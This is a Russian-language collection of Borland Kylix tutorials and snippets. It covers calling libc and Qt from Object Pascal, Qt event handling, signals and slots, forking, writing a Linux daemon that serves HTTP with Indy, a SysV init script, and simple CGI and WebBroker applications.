Рассмотрим, например, glibc функцию fork, которая создает в системе новый процесс, являющийся точной копией того процесса, из которого вызвана эта функция. В glibc данная функция определена следующим образом:

pid_t fork (void);

В модуле Libc декларация этой функции выглядит так:

function fork: __pid_t; cdecl;

Вы сами можете импортировать функции из разделяемых библиотек. В следующем примере осуществляется импортирование функции vga_setmode из библиотеки VGAlib (разделяемый файл libvga.so). В заголовке библиотеки, написанной на С, эта функция объявляется как.

int vga_setmode (int mode); 

В модуле Kylix пишем:

...
interface
function SetVGAMode(Mode: Integer): Integer; cdecl;
...
implementation
function SetVGAMode; external 'libvga.so' name 'vga_setmode';
...

Библиотека Qt library является основой библиотеки VisualCLX точно также, как Windows GUI API является основой Delphi VCL. Большинство компонентов VisualCLX можно рассматривать как "Object Pascal оболочки" соответствующих объектов Qt library.

Из файла qpushbutton.h, входящего в Qt library, явствует, что у класса QPushButton три конструктора:

QPushButton(QWidget *parent, const char *name=0); 
QPushButton(const QString &text, QWidget *parent, const char* name=0); 
QPushButton(const QIconSet& icon, const QString &text, QWidget *parent, const char* name=0);  

Каждому из этих конструкторов соответствует своя функция в модуле Qt:

function QPushButton_create(parent: QWidgetH; name: PAnsiChar):
  QPushButtonH; overload; cdecl;
function QPushButton_create(text: PWideString; parent: QWidgetH; name:
  PAnsiChar): QPushButtonH; overload; cdecl;
function QPushButton_create(icon: QiconSetH; text: PWideString; parent:
  QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl;

Для уничтожения экземпляра объекта QPushButton служит процедура QPushButton_destroy:

procedure QPushButton_destroy(handle: QPushButtonH); cdecl;

В качестве единственного параметра этой функции передается ссылка на экземпляр объекта, который нужно уничтожить. Для вызова метода SetFlat, отключающего или восстанавливающего вывод границы для неактивной кнопки, служит процедура QPushButton_setFlat:

procedure QPushButton_setFlat(handle: QPushButtonH; p1: Boolean); cdecl;

Для проверки того, является ли данная кнопка элементом управления, выбираемым по умолчанию предназначена функция.

function QPushButton_isDefault(handle: QPushButtonH): Boolean; cdecl;

В начале этого раздела было отмечено, что в основе компонентов VisualCLX лежат классы Qt library. Можно ли получить доступ к экземпляру класса Qt, соответствующему данному экземпляру класса VisualCLX? VisualCLX предоставляет такую возможность. Для каждого класса VisualCLX определено свойство Handle, которое во время выполнения программы содержит ссылку на "нижележащий" класс Qt library. Эта ссылка позволяет вызывать методы класса Qt. Рассмотрим конкретный пример. Пусть при проектировании пользовательского интерфейса приложения в окне формы была создана кнопка - компонент класса TButton. Это означает, что в программу была введена переменная Button1 : TButton. Как и следовало ожидать, свойство Button1.Handle имеет тип QPushButtonH. Воспользуемся этим указателем для доступа к Qt объекту и сделаем данную кнопку элементом управления по умолчанию:

QPushButton_setDefault(Button1.Handle, True); 

В этой статье была описана работа с Linux API и вызовы методов объектов Qt library из программы, написанной на Object Pascal. Однако, для того, чтобы воспользоваться мощью Qt в полной мере, необходимо также уметь создавать свои обработчики событий Qt library. О том, как это сделать, будет рассказано в следующей статье.

Перехватчики событий, сигналы и слоты.

В предыдущей статье было писано демонстрационное приложение, позволяющее перемещать фрагменты текста методом Drag and Drop. Теперь мы перепишем это приложение, используя перехватчики событий. Перехватчик назначается компоненту TLabel в конструкторе главной формы. Ниже приводятся декларация класса и исходный текст конструктора.

TForm1 = class(TForm)
  Label1: TLabel;
  procedure FormClose(Sender: TObject; var Action: TCloseAction);
  procedure FormCreate(Sender: TObject);
  procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
    Y: Integer);
private
  { Private declarations }
public
  { Public declarations }
  DropHook: QEvent_hookH;
  function EventHandler(Handle: QObjectH; e: QEventH): Boolean; cdecl;
end;
...
procedure TForm1.FormCreate(Sender: TObject);
var
  M: TMethod;
begin
  DropHook := QEvent_hook_create(Label1.Handle);
  EventFunc(M) := EventHandler;
  Qt_hook_hook_events(DropHook, M);
end;

Далее мы присваиваем переменной M указатель на метод перехватчик EventHandler. Обратите внимание на преобразование типов. Для того, чтобы выполнить преобразование корректно, необходимо определить тип-функцию.

EventFunc = function(Handle: QObjectH; e: QEventH): Boolean of object; cdecl;

Еще один пример использования перехватчиков - приложение, отслеживающее состояние буфера обмена Qt. Это приложение отображает информацию о mime-типах данных, скопированных в буфер обмена. Кроме того, если в буфере обмена присутствуют данные в текстовом формате, приложение отображает и сами данные. Информация обновляется при изменении содержимого буфера обмена. Для того, чтобы контролировать состояние буфера обмена, мы создаем объект-перехватчик QClipboard_hook и связываем его с методом перехватчиком, имеющим тип QClipboard_dataChanged_Event. Этот метод вызывается всякий раз при изменении содержимого буфера обмена. Ниже приводится исходный текст метода перехватчика.

procedure TForm1.ClipboardDataChanged;
var
  QMS: QMimeSourceH;
  S: WideString;
  S1: string;
  i: Integer;
begin
  QMS := QClipboard_data(CB);
  Memo1.Lines.Clear;
  (* enumerating clipboard data formats *)
  i := 0;
  S1 := QMimeSource_format(QMS, i);
  while S1 <> '' do
  begin
    Memo1.Lines.Add(S1);
    Inc(i);
    S1 := QMimeSource_format(QMS, i);
  end;
  Label3.Caption := '';
  (* if text data is available, we retrieve it *)
  if QTextDrag_canDecode(QMS) then
  begin
    QTextDrag_Decode(QMS, @S);
    Label3.Caption := S;
  end;
end;

В Qt классе QLineEdit, лежащем в основе компонента VisualCLX TEdit, определен сигнал textChanged, который эмитируется при изменении строки в окне компонента. В классе QLabel, на котором основан компонент TLabel, определен слот setText, который позволяет задать строку в компоненте Label. Если связать сигнал textChanged экземпляра класса QLineEdit со слотом setText экземпляра класса QLabel, изменения в строке ввода будут немедленно отображаться в строке QLabel. Для того, чтобы связать указанные сигнал и слот, необходимо вызвать функцию QObject_connect со следующими значениями:

QObject_connect(Edit1.Handle, PChar('2textChanged ( const QString & )'), 
  Label2.Handle, PChar('1setText( const QString & )')); 

Для разрыва связи между сигналом и слотом используется функция QObject_disconnect. Обычно в обращении к этой функции нет необходимости, так как при уничтожении экземпляра Qt объекта все связи с его сигналами и слотами разрываются автоматически. Функцию QObject_disconnect следует использовать если необходимо разорвать связь между сигналом и слотом до уничтожения соответствующих объектов. Список параметров у функции QObject_disconnect такой же, как и у функции QObject_connect. Значение nil, переданное функции QObject_connect в том или ином параметре (сигнал, слот, объект приемник), интерпретируется функцией как "групповой символ" и позволяет выполнять операцию разрыва связи сразу над множеством элементов. Например, вызов.

QObject_disconnect(SomeControl.Handle, PChar('2SomeSignal ()'), nil, nil);  

В рамках CLXDisplay API определено большое количество сигналов и слотов. Если же Вы захотите добавить свои сигналы и слоты, Вам придется объединить фрагменты программ, написанные на Object Pascal и C++.

Как клонировать процесс.

Автор: http://www.swissdelphicenter.ch

{
  In Linux it is possible to duplicate a process with fork. In the original
  process, fork will return the handle to the duplicated process. The
  duplicated process will return zero.
 }
program TestFork;
{$APPTYPE CONSOLE}
uses
  SysUtils,
  Libc;
var
  ForkedProcessHandle: __pid_t;
  bForked: Boolean;
procedure ForkNow;
begin
  bForked := true;
  ForkedProcessHandle := fork;
end;
function IsForked: Boolean;
begin
  Result := (ForkedProcessHandle = 0) and bForked;
end;
var
  Lf: Integer;
begin
  sigignore(SIGCHLD);
  bForked := false;
  WriteLn('do some stuff');
  WriteLn('before fork');
  ForkNow;
  WriteLn('after fork - we have dublicated the process');
  if IsForked then
  begin
    WriteLn('do some stuff in forked process (wait 5s)');
    for Lf := 0 to 50 do
    begin
      Write('f');
      sleep(100);
    end;
  end
  else
  begin
    WriteLn('do stuff in original process (wait 10)');
    for Lf := 0 to 100 do
    begin
      Write('o');
      sleep(100);
    end;
  end;
  WriteLn;
  if IsForked then
    WriteLn('forked process end')
  else
    WriteLn('original process end');
end.
{
Output of this demo app:
do some stuff
before fork
after fork - we have dublicated the process
after fork - we have dublicated the process
do some stuff in forked process (wait 5s)
fdo stuff in original process (wait 10)
ooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooff
ooffooffooffooffooffooffooffoo
forked process end
ooooooooooooooooooooooooooooooooooooooooooooooooo
original process end
 }

Как отловить CLX форму.

Автор: http://www.swissdelphicenter.ch

{
  Capturing a CLX form is easy, once you know.
  It took me a little time to find out, so I'm giving the knowledge to help others :
}
type
  TFormCapturable = class(TForm)
  public
    procedure PrintOne;
  end;
var
  FormCapturable: TFormCapturable;
implementation
uses
  Qt;
procedure TFormCapturable.PrintOne;
var
  aBitmap: TBitmap;
  aWinHandle: QWidgetH;
  aWinId: Cardinal;
  x, y, w, h: integer;
begin
  // create a new bitmap to hold the captured screen
  aBitMap := TBitmap.Create;
  try
    // get a handle on the desktop
    aWinHandle := QApplication_desktop;
    // get the Id from the desktop handle
    aWinId := QWidget_winId(aWinHandle);
    // get the position and size of the windows
    x := Self.Left;
    y := Self.Top;
    w := Self.Width;
    h := Self.Height;
    // capture the window into the bitmap's pixmap
    QPixmap_grabWindow(aBitmap.Handle, aWinId, x, y, w, h);
    // save the bitmap
    aBitMap.SaveToFile('c:\temp\test.bmp');
  finally
    // don't forget to kill the bitmap after use.
    FreeAndNil(aBitMap);
  end;
end;

Как отлаживать консольные приложения.

But if you open the run / parameters dialog you will find an entry called "Use Launcher Application" that is prefilled with xconsole. Just tick this option and there you go.

Обработка событий Qt в Kylix-приложении.

Тип процедуры обработчика декларируется следующим образом:

procedure(Sender: QObjectH; Event: QEventH; var Handled: Boolean) of object;

Рассмотрим простой пример: допустим мы хотим, чтобы перерисовка окна компонента Label1 типа TLabel не выполнялась, если некоторой глобальной переменной NoRedraw типа Boolean присвоено значение True. для этого напишем следующую процедуру AppEventHandler:

uses Qt, ...
  ...
procedure TForm1.AppEventHandler(Sender: QObjectH; Event: QEventH;
  var Handled: Boolean);
begin
  Handled := False; // Allow  default event processing
  if Sender = Label1.Handle then // Identify sending Qt object
    if QEvent_isQPaintEvent(Event) then // Identify the Paint event
      Handled := NoRedraw; // Disable or enable default event processing
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  ...
  Application.OnEvent := AppEventHandler;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  ...
  Application.OnEvent := nil;
end;

Демонстрационное приложение позволяет перетаскивать и вставлять фрагменты текста. Для приема и передачи объектов Drag and Drop используется компонент Label. Ниже приводится обработчик Qt событий AppEventHandler.

procedure TForm1.AppEventHandler;
var
  QMS: QMimeSourceH;
  S: WideString;
begin
  Handled := False;
  if Sender = Label1.Handle then
    if QEvent_isQDropEventEvent(Event) then
    begin
      if QEvent_isQDragEnterEvent(Event) then
      begin
        if QDropEvent_source(QDropEventH(Event)) = Label1.Handle then
          Exit;
        QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
        QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS));
      end
      else if QEvent_isQDragMoveEvent(Event) then
      begin
        if QDropEvent_source(QDropEventH(Event)) = Label1.Handle then
          Exit;
        QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
        QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS))
      end
      else
      begin
        QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
        if QTextDrag_canDecode(QMS) then
          QTextDrag_decode(QMS, @S);
        Label1.Caption := S;
      end;
    end;
end;

Для того, чтобы Qt приложение могло стать источником объектов Drag and Drop, необходимо создать объект-контейнер данных и вызвать один из методов этого объекта : drag или dragCopy. Объект для перетаскивания лучше всего создавать в момент начала движения мыши при нажатой левой кнопке. В нашем приложении эту функцию выполняет обработчик события OnMouseMove объекта Label1:

procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  TextDragObject: QTextDragH;
  S: WideString;
  name: PChar;
begin
  if ssLeft in Shift then
  begin
    S := Label1.Caption;
    name := 'TextDrag';
    TextDragObject := QTextDrag_create(@S, Label1.Handle, name);
    if QDragObject_drag(TextDragObject) then
      Label1.Caption := '';
  end;
end;

Обычно события Qt генерируются системой в ответ на действия пользователя или события в самой системе. Однако, иногда бывает желательно вызвать обработчик события из непосредственно из программы. Для этого необходимо создать объект соответствующего события и передать его методу Qt объекта. CLXDisplay API позволяет сделать это при помощи набора функций QOpenWidget_XXXEvent, определенных для различных типов событий. В следующем небольшом примере создаются объекты событий, при помощи которых в поле ввода визуального компонента Edit1 типа TEdit вводится текст, а затем эмулируется нажатие клавиши BackSpace (код $1003), стирающее последний введенный символ.

var
  KeyEvent: QKeyEventH;
  S: WideString;
  ...
begin
  ...
  S := 'Some little text';
  KeyEvent := QKeyEvent_create(QEventType_KeyPress, 0, 0, 0, @S, False, 0);
  QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent);
  QKeyEvent_destroy(KeyEvent);
  KeyEvent := QKeyEvent_create(QEventType_KeyPress, $1003, 0, 0, nil, False, 0);
  QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent);
  QKeyEvent_destroy(KeyEvent);
  ...

Рассмотренный в этой статье метод обработки событий - не единственный. В следующей статье будут рассмторены перехватчики событий, а также еще один механизм взаимодействия между объектами Qt - сигналы и слоты.

Kylix - Первые впечатления.

P.S. Для тех, кто не знает, kylix - это античная винная чаша, обычно покрытая росписью с внешней и с внутренней стороны.

Программирование Интернет приложений в Borland Kylix.

Прежде чем приступить к программированию демона, следует рассмотреть подробнее функцию fork, которая играет в работе демонов важную роль. В Kylix функция fork объявлена в модуле Libc. Объявление функции выглядит следующим образом:

function fork: __pid_t; cdecl;

Наша первая задача - перевести запущенный демон в фоновый режим. Для этого при помощи fork создается копия процесса демона, а выполнение исходного процесса завершается:

pid := fork;
if pid = -1 then // fork failed
begin
  perror(PChar('fork 1: '));
  Halt(1);
end
else if pid <> 0 then
  Halt(0); // parent process exits
...

Здесь pid - глобальная переменная типа Integer. Если при вызове функции fork произошла ошибка, функция возвращает значение -1, и приложение должно завершиться. После удачного вызова функции fork родительскому процессу возвращается pid дочернего процесса, не равный нулю. Родительский процесс завершает работу, а дочерний продолжает выполняться. После завершения родительского процесса контроль над терминалом возвращается запустившей его программе (оболочке), а новый процесс, созданный функцией fork, выполняется в фоновом режиме. Однако наш процесс все еще принадлежит той же группе, что и создавший его процесс. Для того чтобы демон стал полностью независим от запустившего его терминала, новый процесс следует поместить в новую группу, а самый простой способ сделать это - создать новую сессию. (Подробнее о сессиях и группах процессов можно прочесть в [3].) Новая сессия создается вызовом функции setsid:

pid := setsid;
if pid = -1 then // setsid failed
begin
  perror(PChar('setsid: '));
  Halt(1);
end;
...

Далее мы закрываем стандартный поток ввода и перенаправляем потоки вывода на /dev/null (это необходимо сделать, так как некоторые функции могут использовать стандартные потоки для вывода служебной информации).

Close(Input); // closing stdin
AssignFile(Output, '/dev/null');
Rewrite(Output);
AssignFile(ErrOutput, '/dev/null');
Rewrite(ErrOutput);
...

Теперь процесс выполняется в режиме демона. Сохраним pid процесса в файле dhttpd.pid в каталоге /var/run (зачем это нужно объясняется ниже). Следует отметить, что демон должен запускаться в режиме, предоставляющем полный доступ к ресурсам компьютера, т. е. в режиме root или в ходе загрузки операционной системы. Это необходимо не только для получения доступа к таким каталогам, как /var/run, но и для работы с сокетами, что является основной функцией создаваемого нами приложения.

AssignFile(F, '/var/run/dhttpd.pid');
Rewrite(F);
pid := getpid;
WriteLn(F, pid);
CloseFile(F);
...

При программировании нашего демона мы пойдем по второму пути. В программе объявляется глобальная переменная SigNum типа Integer, а в качестве обработчика сигналов служит процедура TranslateSig:

procedure TranslateSig(sig: Integer); cdecl;
begin
  SigNum := sig;
end;

Функция TranslateSig просто присваевает переменной SigNum номер полученного сигнала. В создаваемом демоне мы ограничемся обработкой сигналов SIGTERM и SIGHUP. Связываем обработчик TranslateSig с этими сигналами:

signal(SIGTERM, @TranslateSig); 
signal(SIGHUP, @TranslateSig); 

Теперь следует задать цикл обработки сигналов. Можно просто проверять значение SigNum в бесконечном цикле, однако есть более изящный и менее ресурсоемкий способ - функция sigsuspend. В качестве единственного параметра этой функции передается маска сигналов - переменная типа __sigset_t. Функция sigsuspend приостанавливает выполнение вызвавшего ее потока до тех пор, пока не поступит один из сигналов, не включенных в маску. В этом случае, если обработчик сигнала не завершает процесс, функция sigsuspend возвращает управление. В следующем фрагменте выполняется установка маски (переменная SigSet) и организуется цикл обработки сигналов с использованием функции sigsuspend:

sigfillset(SigSet);
sigdelset(SigSet, SIGTERM);
sigdelset(SigSet, SIGHUP);
SigNum := 0;
while SigNum <> SIGTERM do
begin
  sigsuspend(SigSet);
  if SigNum = SIGHUP then
  begin
    ...
      pid := fork;
    if pid <> 0 then
      Break; // old process exits
    ...
  end;
end;

Теперь можно проверить работу демона. Скомпилировав проект даем в режиме root команду:

# dhttpd 

Если все сделано правильно, то при следующем запуске системы, в конце списка сообщений, сопровождающих процесс загрузки, можно будет увидеть сообщение о запуске демона dhttpd. Убедиться в том, что демон работает, можно, как и в предыдущем случае, введя в строке адреса броузера URL "http://localhost:8800/".

program dhttpd;
{$APPTYPE CONSOLE}
uses
  Libc, SysUtils, WebServ;
var
  F: Text;
  SigSet: __sigset_t;
  SigNum: Integer;
  pid: Integer;
  // Signal handler function
procedure TranslateSig(sig: Integer); cdecl;
begin
  SigNum := sig;
end;
begin
  // Processing command line arguments
  if ParamCount > 0 then
  begin
    if ParamCount = 1 then
    begin
      SigNum := 0;
      if ParamStr(1) = '-stop' then
        SigNum := SIGTERM
      else if ParamStr(1) = '-restart' then
        SigNum := SIGHUP;
      if SigNum <> 0 then
      begin
        if FileExists('/var/run/dhttpd.pid') then
        begin
          AssignFile(F, '/var/run/dhttpd.pid');
          Reset(F);
          Read(F, pid);
          CloseFile(F);
          if kill(pid, SigNum) = 0 then
            Halt(0);
        end;
        WriteLn('dhttpd : cannot do ' + ParamStr(1) + '. Maybe the daemon is not running?' );
          Halt(0);
      end;
    end;
    WriteLn('Use dhttpd -stop to stop the daemon or dhttpd -restart to restart it.');
    Halt(0);
  end;
  // Daemon initialization code
  pid := fork;
  if pid = -1 then // fork failed
  begin
    perror(PChar('fork 1: '));
    Halt(1);
  end
  else if pid <> 0 then
    Halt(0); // parent process exits
  pid := setsid;
  if pid = -1 then // setsid failed
  begin
    perror(PChar('setsid: '));
    Halt(1);
  end;
  Close(Input); // closing stdin
  AssignFile(Output, '/dev/null');
  Rewrite(Output);
  AssignFile(ErrOutput, '/dev/null');
  Rewrite(ErrOutput);
  // Now process runs in the daemon mode
  WebServer := TWebServer.Create; // Creating server object
  AssignFile(F, '/var/run/dhttpd.pid');
  Rewrite(F);
  pid := getpid;
  WriteLn(F, pid);
  CloseFile(F);
  signal(SIGTERM, @TranslateSig);
  signal(SIGHUP, @TranslateSig);
  sigfillset(SigSet);
  sigdelset(SigSet, SIGTERM);
  sigdelset(SigSet, SIGHUP);
  SigNum := 0;
  while SigNum <> SIGTERM do
  begin
    sigsuspend(SigSet);
    WebServer.Free;
    if SigNum = SIGHUP then // Restarting
    begin
      pid := fork;
      if pid = -1 then
        Halt(1);
      if pid <> 0 then
        Break; // old process exits
      // Now we are in the new child process
      WebServer := TWebServer.Create;
      AssignFile(F, '/var/run/dhttpd.pid');
      Rewrite(F);
      pid := getpid;
      WriteLn(F, pid);
      CloseFile(F);
    end;
  end;
end.
unit WebServ;
interface
uses
  IdBaseComponent, IdComponent,
  IdTCPServer, IdHTTPServer, SysUtils;
type
  TWebServer = class(TObject)
    IndyHTTP: TIdHTTPServer;
  private
    procedure HTTPCommandGet(AThread: TIdPeerThread;
      RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
  public
    constructor Create;
    destructor Destroy; override;
  end;
const
  HTTPDocsDir = '/var/www/html';
var
  WebServer: TWebServer;
implementation
// TWebServer methods
constructor TWebServer.Create;
begin
  inherited Create;
  IndyHTTP := TIDHTTPServer.Create(nil);
  with IndyHTTP do
  begin
    ServerSoftware := 'DAEMONstration Web server. (c) 2001 Andrei Borovsky';
    OnCommandGet := HTTPCommandGet;
    TerminateWaitTime := 5000;
    DefaultPort := 8800;
    // Activate the Server
    Active := True;
  end;
end;
destructor TWebServer.Destroy;
begin
  IndyHTTP.Free;
  inherited Destroy;
end;
procedure TWebServer.HTTPCommandGet;
var
  FName: string;
begin
  FName := HTTPDocsDir + RequestInfo.Document;
  if FName[Length(FName)] = '/' then
    FName := FName + 'index.html'
  else if DirectoryExists(FName + '/') then
  begin
    // Redirecting directory without a trailing slash
    ResponseInfo.Redirect(RequestInfo.Document + '/');
    Exit;
  end;
  if FileExists(FName) then
  begin
    // Serving content
    IndyHTTP.ServeFile(AThread, ResponseInfo, FName);
    Exit;
  end;
  // Requested URL not found
  ResponseInfo.ResponseNo := 404;
  ResponseInfo.ResponseText := 'Requested URL not found';
  ResponseInfo.ContentText := 'Error 404 - ' + ResponseInfo.ResponseText;
  ResponseInfo.WriteHeader;
  ResponseInfo.WriteContent;
end;
end.

Скрипт dhttpd

#!/bin/sh 
# 
# SysV Init script for DAEMONstration Web server (dhttpd) 
# 
# pidfile: /var/run/dhttpd.pid 
# 
# Source function library. 
. /etc/rc.d/init.d/functions 
case $1 in 
    start) 
    echo -n "Starting dhttpd" 
    daemon dhttpd 
    echo 
    touch /var/lock/subsys/dhttpd 
    ;; 
    stop) 
    echo -n "Shutting down dhttpd" 
    killproc dhttpd   
    echo 
    rm -f /var/lock/subsys/dhttpd 
    rm -f /var/run/dhttpd.pid 
    ;; 
    restart) 
    $0 stop 
    $0 start 
    ;; 
    reload) 
    echo -n "Reloading dhttpd:" 
    killproc dhttpd -HUP 
    echo 
    ;; 
    *) 
    echo "Usage: $(basename $0) start|stop|restart|reload" 
    exit 1 
esac 
exit 0

Литература.

Программирование Интернет приложений в Borland Kylix 2.

Изначально протокол HTTP создавался для передачи по Сети документов в формате HTML и сопутствующей им графики, однако Web-броузеры оказались настолько удобны, что всемирная паутина очень быстро начала обрастать различными дополнительными функциями. Весьма заманчиво выглядит возможность использовать броузер клиента в качестве интерфейса для взаимодействия с удаленным приложением. Такое взаимодействие, разумеется, требует наличия механизма передачи команд и данных от клиента серверу. Для стандартизации механизма передачи команд клиента серверу был разработан стандарт CGI. В общих чертах работа CGI выглядит следующим образом: клиент загружает HTML страницу, содержащую форму и посылает серверу определенный в форме запрос (request), в котором указано.

Действие (action) и список параметров. Действие представляет собой указатель на CGI-приложение, которое должно выполнить запрос. Например действие /cgi-bin/frenchwines указывает на приложение frenchwines. Для одного приложения можно определить несколько действий, которые идентифицируются как отдельные сетевые ресурсы: /cgi-bin/frenchwines, /cgi-bin/frenchwines/, /cgi-bin/frenchwines/welcome – это разные действия приложения frenchwines. Список параметров представляет собой перечень имен параметров и их значений. Если HTML форма использует для передачи параметров метод GET, список параметров можно увидеть в адресной строке броузера после идентификатора ресурса (он отделен от идентификатора символом '?'). С точки зрения протокола HTTP CGI-запрос является командой на загрузку некоторого ресурса. В ответ на запрос сервер обычно посылает клиенту HTML документ, который как правило является динамической страницей, т. е. не хранится на диске в виде файла, а генерируется приложением. CGI–функции могут быть реализованы на сервере в двух вариантах: в форме CGI-сценариев (CGI scripts) и в виде CGI приложений. CGI приложения представляют собой исполнимые модули, вызываемые Web-сервером. Схема взаимодействия между броузером, сервером и CGI-модулем приводится на рисунке. По своей структуре CGI приложение является обычной консольной программой. Сервер передает данные CGI приложению через переменные окружения и стандартный поток ввода, а CGI приложение передает данные серверу через свой стандартный поток вывода. Сервер запускает новую копию приложения для обработки каждого запроса. По окончании обработки запроса CGI-приложение завершается. Далее следует пример простейшего CGI приложения, написанного в Borland Kylix. Этот пример не использует специальные средства разработки CGI приложений, входящие в состав Kylix. Модуль Libc используется для того, чтобы сделать приложение более компактным. В принципе нам было бы достаточно одного модуля SysUtils.

program simplecgi;
{$APPTYPE CONSOLE}
uses
  Libc;
var
  Method: PChar;
  Query: string;
begin
  Method := getenv('REQUEST_METHOD');
  if Method = nil then
  begin
    WriteLn('Error : no request method');
    Halt(0);
  end;
  WriteLn('Content-Type: text/html');
  WriteLn;
  Write('<HTML><HEAD><TITLE>Simple CGI Application</TITLE><BODY>');
  Write('<H2>This page was generated on the fly by the CGI application</H2>');
  Write('<P>You have sent data by ', string(Method), ' method</P>');
  Write('<P>The user agent is "', string(getenv('HTTP_USER_AGENT')), '"</P>');
  Write('<P>The HTTP_REFERER variable is "', string(getenv('HTTP_REFERER')),
    '"</P>');
  if Method = 'GET' then
    Write('<P>The query string is "', string(getenv('QUERY_STRING')), '"</P>')
  else
  begin
    Write('<P>The content length is ', string(getenv('CONTENT_LENGTH')),
      '</P>');
    Read(Query);
    Write('<P>The query string is "', Query, '"</P>')
  end;
  Write('</BODY></HTML>');
end.

Приложение-пример (исходный текст лежит здесь) называется fenchwines и представляет собой Web-интерфейс к базе данных французских вин. (Напомню, что "Kylix" в переводе означает "винная чаша", так что "винная" тематика вполне соответствует рассматриваемому продукту. Для правильной компиляции и запуска демонстрационного приложения необходимо выполнить следующее: скачайте архив с базой данных, распакуйте его, скопируйте файл vina.gdb в какой-нибудь каталог. В корневом каталоге http документов вашего сервера (часто это /var/www/html) создайте каталог wdb и скопируйте в него файлы wctempl.html и barrels.jpg из архива приложения. Теперь откройте приложение в среде Kylix. При помощи менеджера проекта откройте окно Web-модуля, которое связано с модулем main. В окне Web-модуля щелкните правой кнопкой мыши по компоненту SQLConnection1 и в открывшемся меню выберите пункт Edit Connection Properties. В открывшемся диалоговом окне создайте новое соединение. В качестве драйвера базы данных выберите INTERBASE. В поле Database задайте абсолютный путь к файлу vina.gdb. Убедитесь, что поля Password и User_Name содержат значения masterkey и SYSDBA соответственно. Свойство Connection компонента SQLConnection1 должно указывать на новое соединение. Далее отредактируйте свойство HTMLFile компонента PageProducer1 так, чтобы оно содержало полный путь к файлу wctempl.html. Скомпилируйте приложение frenchwines и скопируйте исполнимый файл в каталог CGI-приложений (cgi-bin). Для того, чтобы проверить работу нашего приложения в окне броузера наберите http://localhost/cgi-bin/frenchwines. При этом в окне броузера появится приветственная HTML-страница. Форма на странице позволяет выбирать вина из базы данных по происхождению и категории. Для того, чтобы отобразить все вина, содержащиеся в базе, необходимо ввести "any" в обоих полях формы. Структура CGI-приложения очень похожа на структуру обычного приложения Kylix. Вместо объекта TApplication в Web-приложении используется объект TWebApplication, а роль класса TForm выполняет класс TWebModule. Потомок класса TWebModule является владельцем всех компонентов, используемых в Web-приложении и ему же принадлежат методы обработки событий.

Важнейшим элементом TWebModule является список действий Actions. В этом списке хранятся объекты TWebActionItem, определяющие действия приложения. Свойство PathInfo объекта TWebActionItem позволяет задать идентификатор действия. Если свойство PathInfo содержит пустую строку, идентификатором данного действия является само имя CGI-приложения. В других случаях идентификатор действия должен предваряться символом "/". В следующей таблице показаны примеры значений PathInfo и соответствующие им действия для приложения frenchwines, расположенного в директории /cgi-bin/. Значение PathInfo Действие "" /cgi-bin/frenchwines "/" /cgi-bin/frenchwines/ "/welcome" /cgi-bin/frenchwines/welcome /error /cgi-bin/frenchwines/error Список Actions можно заполнить в процессе разработки приложения при помощи редактора списка. Для того, чтобы открыть окно редактора нужно в окне инспектора объектов щелкнуть по кнопке с многоточием в поле свойства Actions. Свойство MethodType объекта TWebActionItem позволяет указать метод передачи параметров для данного действия. Метод, указанный в свойстве MethodType должен соответствовать методу, указанному в тэге FORM HTML страницы, генерирующей запрос. Значение mtAny позволяет действию обрабатывать любые запросы. Для объекта TWebActionItem определено единственное событие – OnAction. Когда Web-сервер получает CGI-запрос, он запускает соответствующее CGI-приложение и передает ему всю необходимую информацию. В Kylix-приложении диспетчер запросов определяет, какому действию адресован запрос, и вызывает обработчик события OnAction этого действия. После выполнения обработчика OnAction приложение завершается. Заголовок обработчика выглядит следующим образом:

type
  THTTPMethodEvent = procedure(Sender: TObject; Request: TWebRequest; Response:
    TWebResponse; var Handled: Boolean) of object;

Объект Request содержит данные о поступившем запросе. Свойства этого объекта позволяют получить сведения об адресе удаленной машины, программном обеспечении клиента, методе запроса и т. п. Для CGI-запроса в объекте Request передается также список параметров запроса. Список параметров хранится в свойстве ContentFields (если запрос передан посредством метода POST) или QueryFields (если использовался метод GET). Оба свойства имеют тип TStrings и содержат набор строк вида ParamName=ParamValue Объект Response описывает ответные действия приложения. Текст HTML страницы, возвращаемой приложением, передается в свойстве Content объекта Response. В простейшем CGI-приложении обработчик OnAction может выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := '<HTML><BODY><H2>Delphi World !</H2></BODY></HTML>';
end;

Рассмотрим другие примеры. В приложении frenchwines главная HTML-страница выводится при выполнении действия frenchwines/welcome. Однако, пользователь может набрать в строке броузера просто .../frenchwines или .../frenchwines/ и было бы очень удобно, если бы в этой ситуации приложение автоматически перенаправляло броузер пользователя на страницу frenchwines/welcome. Для того, чтобы приложение fenchwines выполняло такое перенаправление, в нем заданы два действия, значениями PathInfo которых являются соответственно пустая строка и символ "/". Обоим действиям можно назначить один и тот же обработчик OnAction:

procedure TWebModule1.WebModule1WebActionItem3Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Location := Request.InternalScriptName + '/welcome';
  Response.StatusCode := 301;
  Response.Content := '<HTML><BODY><H2>This page is redirected to < A HREF = '+ Response.Location +' / > '
    + Request.Host + Response.Location + '</A></H2></BODY></HTML>';
end;

